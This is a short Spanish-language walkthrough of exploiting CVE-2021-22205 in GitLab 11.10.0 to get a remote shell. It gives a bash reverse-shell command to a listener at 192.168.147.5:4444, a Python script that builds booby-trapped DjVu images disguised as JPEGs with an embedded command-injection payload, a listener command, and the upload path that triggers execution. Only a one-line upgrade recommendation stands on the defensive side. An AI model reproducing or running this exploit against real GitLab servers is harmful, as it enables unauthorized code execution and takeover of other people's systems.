CVE-2021-22205-getshell

CVE-2021-22205-getshell

Versión probada

Construir el comando para generar el exploit

echo 'bash -i >& /dev/tcp/192.168.147.5/4444 0>&1' > /tmp/1.sh
chmod +x /tmp/1.sh
/bin/bash /tmp/1.sh

Usar djvumake para generar la imagen del exploit

import os
payloads=[
    "echo 'bash -i >& /dev/tcp/192.168.147.5/4444 0>&1' > /tmp/1.sh",
    "chmod +x /tmp/1.sh",
    "/bin/bash /tmp/1.sh",
]
index=1000
for payload in payloads:
    rce_payload = '(metadata\n\t(Copyright "\\\n" . qx{{{0}}} . \\\n" b ") )\n'.format(payload).encode()
    with open("rce-{0}.txt".format(index), "wb") as text_file:
        text_file.write(rce_payload)
    text_file.close()
    os.system("./djvumake rce-{0}.djvu INFO=0,0 BGjp=/dev/null ANTa=rce-{1}.txt && mv rce-{2}.djvu rce-{3}.jpg".format(index,index,index,index))
    index=index+1

Escuchar localmente en el puerto 4444 esperando la reverse shell

nv -lv 192.168.147.5 4444

Subir las imágenes por separado a GitLab

• Aquí es donde difiere de los exploits encontrados en línea; muchos exploits para esta vulnerabilidad usan GitLab de versiones superiores, probablemente 12 o 13, y el punto de subida es en «Nuevos Snippets», con la ruta: /uploads/user
• La versión que probé es la 11.10.0; usando la ruta de subida pública /uploads/user devuelve 404, y con la ruta de subida de Snippets /uploads/personal_snippet no se puede ejecutar el comando
• Finalmente, subí la imagen desde la página de «Nueva incidencia» (new issue) y logré ejecutar comandos

Reverse shell exitosa para obtener permisos en la máquina objetivo

Después de subir las tres imágenes por separado, la tercera imagen ejecutará el comando de reverse shell, logrando obtener permisos en la máquina objetivo.

Recomendación de mitigación

Actualice GitLab a la última versión de seguridad lo antes posible.